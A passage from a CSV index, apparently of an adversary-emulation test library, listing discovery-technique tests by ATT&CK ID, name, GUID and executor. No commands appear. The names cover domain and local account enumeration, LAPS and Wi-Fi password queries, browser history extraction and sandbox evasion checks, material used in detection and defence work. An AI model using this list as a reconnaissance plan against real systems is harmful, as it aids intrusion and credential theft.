Resource Discovery,ea2255df-d781-493b-9693-ac328f9afc3f,sh +discovery,T1613,Container and Resource Discovery,2,Podman Container and Resource Discovery,fc631702-3f03-4f2b-8d8a-6b3d055580a1,sh +discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,1,Check internet connection using ping Windows,e184b6bd-fb28-48aa-9a59-13012e33d7dc,command_prompt +discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,2,"Check internet connection using ping freebsd, linux or macos",be8f4019-d8b6-434c-a814-53123cdcc11e,bash +discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,3,Check internet connection using Test-NetConnection in PowerShell (ICMP-Ping),f8160cde-4e16-4c8b-8450-6042d5363eb0,powershell +discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,4,Check internet connection using Test-NetConnection in PowerShell (TCP-HTTP),7c35779d-42ec-42ab-a283-6255b28e9d68,powershell +discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,5,Check internet connection using Test-NetConnection in PowerShell (TCP-SMB),d9c32b3b-7916-45ad-aca5-6c902da80319,powershell +discovery,T1615,Group Policy Discovery,1,Display group policy information via gpresult,0976990f-53b1-4d3f-a185-6df5be429d3b,command_prompt +discovery,T1615,Group Policy Discovery,2,Get-DomainGPO to display group policy information via PowerView,4e524c4e-0e02-49aa-8df5-93f3f7959b9f,powershell +discovery,T1615,Group Policy Discovery,3,WinPwn - GPOAudit,bc25c04b-841e-4965-855f-d1f645d7ab73,powershell +discovery,T1615,Group Policy Discovery,4,WinPwn - GPORemoteAccessPolicy,7230d01a-0a72-4bd5-9d7f-c6d472bc6a59,powershell +discovery,T1615,Group Policy Discovery,5,MSFT Get-GPO Cmdlet,52778a8f-a10b-41a4-9eae-52ddb74072bf,powershell +discovery,T1652,Device Driver Discovery,1,Device Driver Discovery,235b30a2-e5b1-441f-9705-be6231c88ddd,powershell +discovery,T1652,Device Driver Discovery,2,Device Driver Discovery (Linux),d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1,bash +discovery,T1652,Device Driver Discovery,3,Enumerate Kernel Driver Files (Linux),13c0fef5-9be9-4d7f-9c6b-901624e53770,bash +discovery,T1652,Device Driver Discovery,4,List loaded kernel extensions (macOS),71eab73d-5d7d-4681-9a72-7873489a5b85,bash +discovery,T1652,Device Driver Discovery,5,Find Kernel Extensions (macOS),c63bbe52-6f17-4832-b221-f07ba8b1736f,bash +discovery,T1087.002,Account Discovery: Domain Account,1,Enumerate all accounts (Domain),6fbc9e68-5ad7-444a-bd11-8bf3136c477e,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,2,Enumerate all accounts via PowerShell (Domain),8b8a6449-be98-4f42-afd2-dedddc7453b2,powershell +discovery,T1087.002,Account Discovery: Domain Account,3,Enumerate logged on users via CMD (Domain),161dcd85-d014-4f5e-900c-d3eaae82a0f7,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,4,Automated AD Recon (ADRecon),95018438-454a-468c-a0fa-59c800149b59,powershell +discovery,T1087.002,Account Discovery: Domain Account,5,Adfind -Listing password policy,736b4f53-f400-4c22-855d-1a6b5a551600,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,6,Adfind - Enumerate Active Directory Admins,b95fd967-4e62-4109-b48d-265edfd28c3a,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,7,Adfind - Enumerate Active Directory User Objects,e1ec8d20-509a-4b9a-b820-06c9b2da8eb7,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,8,Adfind - Enumerate Active Directory Exchange AD Objects,5e2938fb-f919-47b6-8b29-2f6a1f718e99,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,9,Enumerate Default Domain Admin Details (Domain),c70ab9fd-19e2-4e02-a83c-9cfa8eaa8fef,command_prompt +discovery,T1087.002,Account Discovery: Domain Account,10,Enumerate Active Directory for Unconstrained Delegation,46f8dbe9-22a5-4770-8513-66119c5be63b,powershell +discovery,T1087.002,Account Discovery: Domain Account,11,Get-DomainUser with PowerView,93662494-5ed7-4454-a04c-8c8372808ac2,powershell +discovery,T1087.002,Account Discovery: Domain Account,12,Enumerate Active Directory Users with ADSISearcher,02e8be5a-3065-4e54-8cc8-a14d138834d3,powershell +discovery,T1087.002,Account Discovery: Domain Account,13,Enumerate Linked Policies In ADSISearcher Discovery,7ab0205a-34e4-4a44-9b04-e1541d1a57be,powershell +discovery,T1087.002,Account Discovery: Domain Account,14,Enumerate Root Domain linked policies Discovery,00c652e2-0750-4ca6-82ff-0204684a6fe4,powershell +discovery,T1087.002,Account Discovery: Domain Account,15,WinPwn - generaldomaininfo,ce483c35-c74b-45a7-a670-631d1e69db3d,powershell +discovery,T1087.002,Account Discovery: Domain Account,16,Kerbrute - userenum,f450461c-18d1-4452-9f0d-2c42c3f08624,powershell +discovery,T1087.002,Account Discovery: Domain Account,17,Wevtutil - Discover NTLM Users Remote,b8a563d4-a836-4993-a74e-0a19b8481bfe,powershell +discovery,T1087.002,Account Discovery: Domain Account,18,Suspicious LAPS Attributes Query with Get-ADComputer all properties,394012d9-2164-4d4f-b9e5-acf30ba933fe,powershell +discovery,T1087.002,Account Discovery: Domain Account,19,Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property,6e85bdf9-7bc4-4259-ac0f-f0cb39964443,powershell +discovery,T1087.002,Account Discovery: Domain Account,20,Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope,ffbcfd62-15d6-4989-a21a-80bfc8e58bb5,powershell +discovery,T1087.002,Account Discovery: Domain Account,21,Suspicious LAPS Attributes Query with adfind all properties,abf00f6c-9983-4d9a-afbc-6b1c6c6448e1,powershell +discovery,T1087.002,Account Discovery: Domain Account,22,Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd,51a98f96-0269-4e09-a10f-e307779a8b05,powershell +discovery,T1087.002,Account Discovery: Domain Account,23,Active Directory Domain Search,096b6d2a-b63f-4100-8fa0-525da4cd25ca,sh +discovery,T1087.002,Account Discovery: Domain Account,24,Account Enumeration with LDAPDomainDump,a54d497e-8dbe-4558-9895-44944baa395f,sh +discovery,T1087.001,Account Discovery: Local Account,1,Enumerate all accounts (Local),f8aab3dd-5990-4bf8-b8ab-2226c951696f,sh +discovery,T1087.001,Account Discovery: Local Account,2,View sudoers access,fed9be70-0186-4bde-9f8a-20945f9370c2,sh +discovery,T1087.001,Account Discovery: Local Account,3,View accounts with UID 0,c955a599-3653-4fe5-b631-f11c00eb0397,sh +discovery,T1087.001,Account Discovery: Local Account,4,List opened files by user,7e46c7a5-0142-45be-a858-1a3ecb4fd3cb,sh +discovery,T1087.001,Account Discovery: Local Account,5,Show if a user account has ever logged in remotely,0f0b6a29-08c3-44ad-a30b-47fd996b2110,sh +discovery,T1087.001,Account Discovery: Local Account,6,Enumerate users and groups,e6f36545-dc1e-47f0-9f48-7f730f54a02e,sh +discovery,T1087.001,Account Discovery: Local Account,7,Enumerate users and groups,319e9f6c-7a9e-432e-8c62-9385c803b6f2,sh +discovery,T1087.001,Account Discovery: Local Account,8,Enumerate all accounts on Windows (Local),80887bec-5a9b-4efc-a81d-f83eb2eb32ab,command_prompt +discovery,T1087.001,Account Discovery: Local Account,9,Enumerate all accounts via PowerShell (Local),ae4b6361-b5f8-46cb-a3f9-9cf108ccfe7b,powershell +discovery,T1087.001,Account Discovery: Local Account,10,Enumerate logged on users via CMD (Local),a138085e-bfe5-46ba-a242-74a6fb884af3,command_prompt +discovery,T1087.001,Account Discovery: Local Account,11,ESXi - Local Account Discovery via ESXCLI,9762ac6e-aa60-4449-a2f0-cbbd0e1fd22c,command_prompt +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,1,Detect Virtualization Environment (Linux),dfbd1a21-540d-4574-9731-e852bd6fe840,sh +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,2,Detect Virtualization Environment (FreeBSD),e129d73b-3e03-4ae9-bf1e-67fc8921e0fd,sh +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,3,Detect Virtualization Environment (Windows),502a7dc4-9d6f-4d28-abf2-f0e84692562d,powershell +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,4,Detect Virtualization Environment via ioreg,a960185f-aef6-4547-8350-d1ce16680d09,sh +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,5,Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows),4a41089a-48e0-47aa-82cb-5b81a463bc78,powershell +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,6,Detect Virtualization Environment using sysctl (hw.model),6beae646-eb4c-4730-95be-691a4094408c,sh +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,7,Check if System Integrity Protection is enabled,2b73cd9b-b2fb-4357-b9d7-c73c41d9e945,sh +discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,8,Detect Virtualization Environment using system_profiler,e04d2e89-de15-4d90-92f9-a335c7337f0f,sh +discovery,T1069.002,Permission Groups Discovery: Domain Groups,1,Basic Permission Groups Discovery Windows (Domain),dd66d77d-8998-48c0-8024-df263dc2ce5d,command_prompt +discovery,T1069.002,Permission Groups Discovery: Domain Groups,2,Permission Groups Discovery PowerShell (Domain),6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,3,Elevated group enumeration using net group (Domain),0afb5163-8181-432e-9405-4322710c0c37,command_prompt +discovery,T1069.002,Permission Groups Discovery: Domain Groups,4,Find machines where user has local admin access (PowerView),a2d71eee-a353-4232-9f86-54f4288dd8c1,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,5,Find local admins on all machines in domain (PowerView),a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,6,Find Local Admins via Group Policy (PowerView),64fdb43b-5259-467a-b000-1b02c00e510a,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,7,Enumerate Users Not Requiring Pre Auth (ASRepRoast),870ba71e-6858-4f6d-895c-bb6237f6121b,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,8,Adfind - Query Active Directory Groups,48ddc687-82af-40b7-8472-ff1e742e8274,command_prompt +discovery,T1069.002,Permission Groups Discovery: Domain Groups,9,Enumerate Active Directory Groups with Get-AdGroup,3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,10,Enumerate Active Directory Groups with ADSISearcher,9f4e344b-8434-41b3-85b1-d38f29d148d0,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,11,Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting),43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,12,Get-DomainGroupMember with PowerView,46352f40-f283-4fe5-b56d-d9a71750e145,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,13,Get-DomainGroup with PowerView,5a8a181c-2c8e-478d-a943-549305a01230,powershell +discovery,T1069.002,Permission Groups Discovery: Domain Groups,14,Active Directory Enumeration with LDIFDE,22cf8cb9-adb1-4e8c-80ca-7c723dfc8784,command_prompt +discovery,T1069.002,Permission Groups Discovery: Domain Groups,15,Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS,d58d749c-4450-4975-a9e9-8b1d562755c2,sh +discovery,T1007,System Service Discovery,1,System Service Discovery,89676ba1-b1f8-47ee-b940-2e1a113ebc71,command_prompt +discovery,T1007,System Service Discovery,2,System Service Discovery - net.exe,5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3,command_prompt +discovery,T1007,System Service Discovery,3,System Service Discovery - systemctl/service,f4b26bce-4c2c-46c0-bcc5-fce062d38bef,bash +discovery,T1007,System Service Discovery,4,Get-Service Execution,51f17016-d8fa-4360-888a-df4bf92c4a04,command_prompt +discovery,T1007,System Service Discovery,5,System Service Discovery - macOS launchctl,9b378962-a75e-4856-b117-2503d6dcebba,sh +discovery,T1007,System Service Discovery,6,System Service Discovery - Windows Scheduled Tasks (schtasks),7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a,command_prompt +discovery,T1007,System Service Discovery,7,System Service Discovery - Services Registry Enumeration,d70d82bd-bb00-4837-b146-b40d025551b2,powershell +discovery,T1007,System Service Discovery,8,System Service Discovery - Linux init scripts,8f2a5d2b-4018-46d4-8f3f-0fea53754690,sh +discovery,T1040,Network Sniffing,1,Packet Capture Linux using tshark or tcpdump,7fe741f7-b265-4951-a7c7-320889083b3e,bash +discovery,T1040,Network Sniffing,2,Packet Capture FreeBSD using tshark or tcpdump,c93f2492-9ebe-44b5-8b45-36574cccfe67,sh +discovery,T1040,Network Sniffing,3,Packet Capture macOS using tcpdump or tshark,9d04efee-eff5-4240-b8d2-07792b873608,bash +discovery,T1040,Network Sniffing,4,Packet Capture Windows Command Prompt,a5b2f6a0-24b4-493e-9590-c699f75723ca,command_prompt +discovery,T1040,Network Sniffing,5,Windows Internal Packet Capture,b5656f67-d67f-4de8-8e62-b5581630f528,command_prompt +discovery,T1040,Network Sniffing,6,Windows Internal pktmon capture,c67ba807-f48b-446e-b955-e4928cd1bf91,command_prompt +discovery,T1040,Network Sniffing,7,Windows Internal pktmon set filter,855fb8b4-b8ab-4785-ae77-09f5df7bff55,command_prompt +discovery,T1040,Network Sniffing,8,Packet Capture macOS using /dev/bpfN with sudo,e6fe5095-545d-4c8b-a0ae-e863914be3aa,bash +discovery,T1040,Network Sniffing,9,Filtered Packet Capture macOS using /dev/bpfN with sudo,e2480aee-23f3-4f34-80ce-de221e27cd19,bash +discovery,T1040,Network Sniffing,10,Packet Capture FreeBSD using /dev/bpfN with sudo,e2028771-1bfb-48f5-b5e6-e50ee0942a14,sh +discovery,T1040,Network Sniffing,11,Filtered Packet Capture FreeBSD using /dev/bpfN with sudo,a3a0d4c9-c068-4563-a08d-583bd05b884c,sh +discovery,T1040,Network Sniffing,12,"Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo",10c710c9-9104-4d5f-8829-5b65391e2a29,bash +discovery,T1040,Network Sniffing,13,"Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo",7a0895f0-84c1-4adf-8491-a21510b1d4c1,bash +discovery,T1040,Network Sniffing,14,"Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo",515575ab-d213-42b1-aa64-ef6a2dd4641b,bash +discovery,T1040,Network Sniffing,15,"Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo",b1cbdf8b-6078-48f5-a890-11ea19d7f8e9,bash +discovery,T1040,Network Sniffing,16,PowerShell Network Sniffing,9c15a7de-de14-46c3-bc2a-6d94130986ae,powershell +discovery,T1135,Network Share Discovery,1,Network Share Discovery,f94b5ad9-911c-4eff-9718-fd21899db4f7,sh +discovery,T1135,Network Share Discovery,2,Network Share Discovery - linux,875805bc-9e86-4e87-be86-3a5527315cae,bash +discovery,T1135,Network Share Discovery,3,Network Share Discovery - FreeBSD,77e468a6-3e5c-45a1-9948-c4b5603747cb,sh +discovery,T1135,Network Share Discovery,4,Network Share Discovery command prompt,20f1097d-81c1-405c-8380-32174d493bbb,command_prompt +discovery,T1135,Network Share Discovery,5,Network Share Discovery PowerShell,1b0814d1-bb24-402d-9615-1b20c50733fb,powershell +discovery,T1135,Network Share Discovery,6,View available share drives,ab39a04f-0c93-4540-9ff2-83f862c385ae,command_prompt +discovery,T1135,Network Share Discovery,7,Share Discovery with PowerView,b1636f0a-ba82-435c-b699-0d78794d8bfd,powershell +discovery,T1135,Network Share Discovery,8,PowerView ShareFinder,d07e4cc1-98ae-447e-9d31-36cb430d28c4,powershell +discovery,T1135,Network Share Discovery,9,WinPwn - shareenumeration,987901d1-5b87-4558-a6d9-cffcabc638b8,powershell +discovery,T1135,Network Share Discovery,10,Network Share Discovery via dir command,13daa2cf-195a-43df-a8bd-7dd5ffb607b5,command_prompt +discovery,T1135,Network Share Discovery,11,Enumerate All Network Shares with SharpShares,d1fa2a69-b0a2-4e8a-9112-529b00c19a41,powershell +discovery,T1135,Network Share Discovery,12,Enumerate All Network Shares with Snaffler,b19d74b7-5e72-450a-8499-82e49e379d1a,powershell +discovery,T1120,Peripheral Device Discovery,1,Win32_PnPEntity Hardware Inventory,2cb4dbf2-2dca-4597-8678-4d39d207a3a5,powershell +discovery,T1120,Peripheral Device Discovery,2,WinPwn - printercheck,cb6e76ca-861e-4a7f-be08-564caa3e6f75,powershell +discovery,T1120,Peripheral Device Discovery,3,Peripheral Device Discovery via fsutil,424e18fd-48b8-4201-8d3a-bf591523a686,command_prompt +discovery,T1120,Peripheral Device Discovery,4,Get Printer Device List via PowerShell Command,5c876daf-db1e-41cf-988d-139a7443ccd4,powershell +discovery,T1082,System Information Discovery,1,System Information Discovery,66703791-c902-4560-8770-42b8a91f7667,command_prompt +discovery,T1082,System Information Discovery,2,System Information Discovery,edff98ec-0f73-4f63-9890-6b117092aff6,sh +discovery,T1082,System Information Discovery,3,List OS Information,cccb070c-df86-4216-a5bc-9fb60c74e27c,sh +discovery,T1082,System Information Discovery,4,Linux VM Check via Hardware,31dad7ad-2286-4c02-ae92-274418c85fec,bash +discovery,T1082,System Information Discovery,5,Linux VM Check via Kernel Modules,8057d484-0fae-49a4-8302-4812c4f1e64e,bash +discovery,T1082,System Information Discovery,6,FreeBSD VM Check via Kernel Modules,eefe6a49-d88b-41d8-8fc2-b46822da90d3,sh +discovery,T1082,System Information Discovery,7,Hostname Discovery (Windows),85cfbf23-4a1e-4342-8792-007e004b975f,command_prompt +discovery,T1082,System Information Discovery,8,Hostname Discovery,486e88ea-4f56-470f-9b57-3f4d73f39133,sh +discovery,T1082,System Information Discovery,9,Windows MachineGUID Discovery,224b4daf-db44-404e-b6b2-f4d1f0126ef8,command_prompt +discovery,T1082,System Information Discovery,10,Griffon Recon,69bd4abe-8759-49a6-8d21-0f15822d6370,powershell +discovery,T1082,System Information Discovery,11,Environment variables discovery on windows,f400d1c0-1804-4ff8-b069-ef5ddd2adbf3,command_prompt +discovery,T1082,System Information Discovery,12,"Environment variables discovery on freebsd, macos and linux",fcbdd43f-f4ad-42d5-98f3-0218097e2720,sh +discovery,T1082,System Information Discovery,13,Show System Integrity Protection status (MacOS),327cc050-9e99-4c8e-99b5-1d15f2fb6b96,sh +discovery,T1082,System Information Discovery,14,WinPwn - winPEAS,eea1d918-825e-47dd-acc2-814d6c58c0e1,powershell +discovery,T1082,System Information Discovery,15,WinPwn - itm4nprivesc,3d256a2f-5e57-4003-8eb6-64d91b1da7ce,powershell +discovery,T1082,System Information Discovery,16,WinPwn - Powersploits privesc checks,345cb8e4-d2de-4011-a580-619cf5a9e2d7,powershell +discovery,T1082,System Information Discovery,17,WinPwn - General privesc checks,5b6f39a2-6ec7-4783-a5fd-2c54a55409ed,powershell +discovery,T1082,System Information Discovery,18,WinPwn - GeneralRecon,7804659b-fdbf-4cf6-b06a-c03e758590e8,powershell +discovery,T1082,System Information Discovery,19,WinPwn - Morerecon,3278b2f6-f733-4875-9ef4-bfed34244f0a,powershell +discovery,T1082,System Information Discovery,20,WinPwn - RBCD-Check,dec6a0d8-bcaf-4c22-9d48-2aee59fb692b,powershell +discovery,T1082,System Information Discovery,21,WinPwn - PowerSharpPack - Watson searching for missing windows patches,07b18a66-6304-47d2-bad0-ef421eb2e107,powershell +discovery,T1082,System Information Discovery,22,WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors,efb79454-1101-4224-a4d0-30c9c8b29ffc,powershell +discovery,T1082,System Information Discovery,23,WinPwn - PowerSharpPack - Seatbelt,5c16ceb4-ba3a-43d7-b848-a13c1f216d95,powershell +discovery,T1082,System Information Discovery,24,Azure Security Scan with SkyArk,26a18d3d-f8bc-486b-9a33-d6df5d78a594,powershell +discovery,T1082,System Information Discovery,25,Linux List Kernel Modules,034fe21c-3186-49dd-8d5d-128b35f181c7,sh +discovery,T1082,System Information Discovery,26,FreeBSD List Kernel Modules,4947897f-643a-4b75-b3f5-bed6885749f6,sh +discovery,T1082,System Information Discovery,27,System Information Discovery with WMIC,8851b73a-3624-4bf7-8704-aa312411565c,command_prompt +discovery,T1082,System Information Discovery,28,System Information Discovery,4060ee98-01ae-4c8e-8aad-af8300519cc7,command_prompt +discovery,T1082,System Information Discovery,29,Check computer location,96be6002-9200-47db-94cb-c3e27de1cb36,command_prompt +discovery,T1082,System Information Discovery,30,BIOS Information Discovery through Registry,f2f91612-d904-49d7-87c2-6c165d23bead,command_prompt +discovery,T1082,System Information Discovery,31,ESXi - VM Discovery using ESXCLI,2040405c-eea6-4c1c-aef3-c2acc430fac9,command_prompt +discovery,T1082,System Information Discovery,32,ESXi - Darkside system information discovery,f89812e5-67d1-4f49-86fa-cbc6609ea86a,command_prompt +discovery,T1082,System Information Discovery,33,sysctl to gather macOS hardware info,c8d40da9-31bd-47da-a497-11ea55d1ef6c,sh +discovery,T1082,System Information Discovery,34,operating system discovery ,70e13ef4-5a74-47e4-9d16-760b41b0e2db,powershell +discovery,T1082,System Information Discovery,35,"Check OS version via ""ver"" command",f6ecb109-df24-4303-8d85-1987dbae6160,command_prompt +discovery,T1082,System Information Discovery,36,"Display volume shadow copies with ""vssadmin""",7161b085-816a-491f-bab4-d68e974b7995,command_prompt +discovery,T1082,System Information Discovery,37,Identify System Locale and Regional Settings with PowerShell,ce479c1a-e8fa-42b2-812a-96b0f2f4d28a,command_prompt +discovery,T1082,System Information Discovery,38,Enumerate Available Drives via gdr,c187c9bc-4511-40b3-aa10-487b2c70b6a5,command_prompt +discovery,T1082,System Information Discovery,39,Discover OS Product Name via Registry,be3b5fe3-a575-4fb8-83f6-ad4a68dd5ce7,command_prompt +discovery,T1082,System Information Discovery,40,Discover OS Build Number via Registry,acfcd709-0013-4f1e-b9ee-bc1e7bafaaec,command_prompt +discovery,T1016.002,System Network Configuration Discovery: Wi-Fi Discovery,1,Enumerate Stored Wi-Fi Profiles And Passwords via netsh,53cf1903-0fa7-4177-ab14-f358ae809eec,command_prompt +discovery,T1010,Application Window Discovery,1,List Process Main Windows - C# .NET,fe94a1c3-3e22-4dc9-9fdf-3a8bdbc10dc4,command_prompt +discovery,T1497.003,Time Based Evasion,1,Delay execution with ping,8b87dd03-8204-478c-bac3-3959f6528de3,sh +discovery,T1580,Cloud Infrastructure Discovery,1,AWS - EC2 Enumeration from Cloud Instance,99ee161b-dcb1-4276-8ecb-7cfdcb207820,sh +discovery,T1580,Cloud Infrastructure Discovery,2,AWS - EC2 Security Group Enumeration,99b38f24-5acc-4aa3-85e5-b7f97a5d37ac,command_prompt +discovery,T1217,Browser Bookmark Discovery,1,List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux,3a41f169-a5ab-407f-9269-abafdb5da6c2,sh +discovery,T1217,Browser Bookmark Discovery,2,List Mozilla Firefox Bookmark Database Files on macOS,1ca1f9c7-44bc-46bb-8c85-c50e2e94267b,sh +discovery,T1217,Browser Bookmark Discovery,3,List Google Chrome Bookmark JSON Files on macOS,b789d341-154b-4a42-a071-9111588be9bc,sh +discovery,T1217,Browser Bookmark Discovery,4,List Google Chromium Bookmark JSON Files on FreeBSD,88ca025b-3040-44eb-9168-bd8af22b82fa,sh +discovery,T1217,Browser Bookmark Discovery,5,List Google Chrome / Opera Bookmarks on Windows with powershell,faab755e-4299-48ec-8202-fc7885eb6545,powershell +discovery,T1217,Browser Bookmark Discovery,6,List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt,76f71e2f-480e-4bed-b61e-398fe17499d5,command_prompt +discovery,T1217,Browser Bookmark Discovery,7,List Mozilla Firefox bookmarks on Windows with command prompt,4312cdbc-79fc-4a9c-becc-53d49c734bc5,command_prompt +discovery,T1217,Browser Bookmark Discovery,8,List Internet Explorer Bookmarks using the command prompt,727dbcdb-e495-4ab1-a6c4-80c7f77aef85,command_prompt +discovery,T1217,Browser Bookmark Discovery,9,List Safari Bookmarks on MacOS,5fc528dd-79de-47f5-8188-25572b7fafe0,sh +discovery,T1217,Browser Bookmark Discovery,10,Extract Edge Browsing History,74094120-e1f5-47c9-b162-a418a0f624d5,powershell +discovery,T1217,Browser Bookmark Discovery,11,Extract chrome Browsing History,cfe6315c-4945-40f7-b5a4-48f7af2262af,powershell +discovery,T1016,System Network Configuration Discovery,1,System Network Configuration Discovery on Windows,970ab6a1-0157-4f3f-9a73-ec4166754b23,command_prompt +discovery,T1016,System Network Configuration Discovery,2,List Windows Firewall Rules,038263cb-00f4-4b0a-98ae-0696c67e1752,command_prompt +discovery,T1016,System Network Configuration Discovery,3,System Network Configuration Discovery,c141bbdb-7fca-4254-9fd6-f47e79447e17,sh +discovery,T1016,System Network Configuration Discovery,4,System Network Configuration Discovery (TrickBot Style),dafaf052-5508-402d-bf77-51e0700c02e2,command_prompt +discovery,T1016,System Network Configuration Discovery,5,List Open Egress Ports,4b467538-f102-491d-ace7-ed487b853bf5,powershell +discovery,T1016,System Network Configuration Discovery,6,Adfind - Enumerate Active Directory Subnet Objects,9bb45dd7-c466-4f93-83a1-be30e56033ee,command_prompt +discovery,T1016,System Network Configuration Discovery,7,Qakbot Recon,121de5c6-5818-4868-b8a7-8fd07c455c1b,command_prompt +discovery,T1016,System Network Configuration Discovery,8,List macOS Firewall Rules,ff1d8c25-2aa4-4f18-a425-fede4a41ee88,bash +discovery,T1016,System Network Configuration Discovery,9,DNS Server Discovery Using nslookup,34557863-344a-468f-808b-a1bfb89b4fa9,command_prompt +discovery,T1482,Domain Trust Discovery,1,Windows - Discover domain trusts with dsquery,4700a710-c821-4e17-a3ec-9e4c81d6845f,command_prompt +discovery,T1482,Domain Trust Discovery,2,Windows - Discover domain trusts with nltest,2e22641d-0498-48d2-b9ff-c71e496ccdbe,command_prompt +discovery,T1482,Domain Trust Discovery,3,Powershell enumerate domains and forests,c58fbc62-8a62-489e-8f2d-3565d7d96f30,powershell +discovery,T1482,Domain Trust Discovery,4,Adfind - Enumerate Active Directory OUs,d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec,command_prompt +discovery,T1482,Domain Trust Discovery,5,Adfind - Enumerate Active Directory Trusts,15fe436d-e771-4ff3-b655-2dca9ba52834,command_prompt +discovery,T1482,Domain Trust Discovery,6,Get-DomainTrust with PowerView,f974894c-5991-4b19-aaf5-7cc2fe298c5d,powershell +discovery,T1482,Domain Trust Discovery,7,Get-ForestTrust with PowerView,58ed10e8-0738-4651-8408-3a3e9a526279,powershell +discovery,T1482,Domain Trust Discovery,8,TruffleSnout - Listing AD Infrastructure,ea1b4f2d-5b82-4006-b64f-f2845608a3bf,command_prompt +discovery,T1083,File and Directory Discovery,1,File and Directory Discovery (cmd.exe),0e36303b-6762-4500-b003-127743b80ba6,command_prompt +discovery,T1083,File and Directory Discovery,2,File and Directory Discovery (PowerShell),2158908e-b7ef-4c21-8a83-3ce4dd05a924,powershell +discovery,T1083,File and Directory Discovery,3,Nix File and Directory Discovery,ffc8b249-372a-4b74-adcd-e4c0430842de,sh +discovery,T1083,File and Directory Discovery,4,Nix File and Directory Discovery 2,13c5e1ae-605b-46c4-a79f-db28c77ff24e,sh +discovery,T1083,File and Directory Discovery,5,Simulating MAZE Directory Enumeration,c6c34f61-1c3e-40fb-8a58-d017d88286d8,powershell +discovery,T1083,File and Directory Discovery,6,Launch DirLister Executable,c5bec457-43c9-4a18-9a24-fe151d8971b7,powershell +discovery,T1083,File and Directory Discovery,7,ESXi - Enumerate VMDKs available on an ESXi Host,4a233a40-caf7-4cf1-890a-c6331bbc72cf,command_prompt +discovery,T1083,File and Directory Discovery,8,Identifying Network Shares - Linux,361fe49d-0c19-46ec-a483-ccb92d38e88e,sh +discovery,T1083,File and Directory Discovery,9,Recursive Enumerate Files And Directories By Powershell,95a21323-770d-434c-80cd-6f6fbf7af432,powershell +discovery,T1049,System Network Connections Discovery,1,System Network Connections Discovery,0940a971-809a-48f1-9c4d-b1d785e96ee5,command_prompt +discovery,T1049,System Network Connections Discovery,2,System Network Connections Discovery with PowerShell,f069f0f1-baad-4831-aa2b-eddac4baac4a,powershell +discovery,T1049,System Network Connections Discovery,3,System Network Connections Discovery via PowerShell (Process Mapping),b52c8233-8f71-4bd7-9928-49fec8215cf5,powershell +discovery,T1049,System Network Connections Discovery,4,System Network Connections Discovery via ss or lsof (Linux/MacOS),bcf05343-ef1d-4052-8a27-b00c9be42b9f,bash +discovery,T1049,System Network Connections Discovery,5,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh +discovery,T1049,System Network Connections Discovery,6,"System Network Connections Discovery via sockstat (Linux, FreeBSD)",997bb0a6-421e-40c7-b5d2-0f493904ef9b,sh +discovery,T1049,System Network Connections Discovery,7,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell +discovery,T1619,Cloud Storage Object Discovery,1,AWS S3 Enumeration,3c7094f8-71ec-4917-aeb8-a633d7ec4ef5,sh +discovery,T1619,Cloud Storage Object Discovery,2,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,070322a4-2c60-4c50-8ffb-c450a34fe7bf,powershell +discovery,T1619,Cloud Storage Object Discovery,3,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell +discovery,T1619,Cloud Storage Object Discovery,4,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell +discovery,T1654,Log Enumeration,1,Get-EventLog To Enumerate Windows Security Log,a9030b20-dd4b-4405-875e-3462c6078fdc,powershell +discovery,T1654,Log Enumeration,2,Enumerate Windows Security Log via 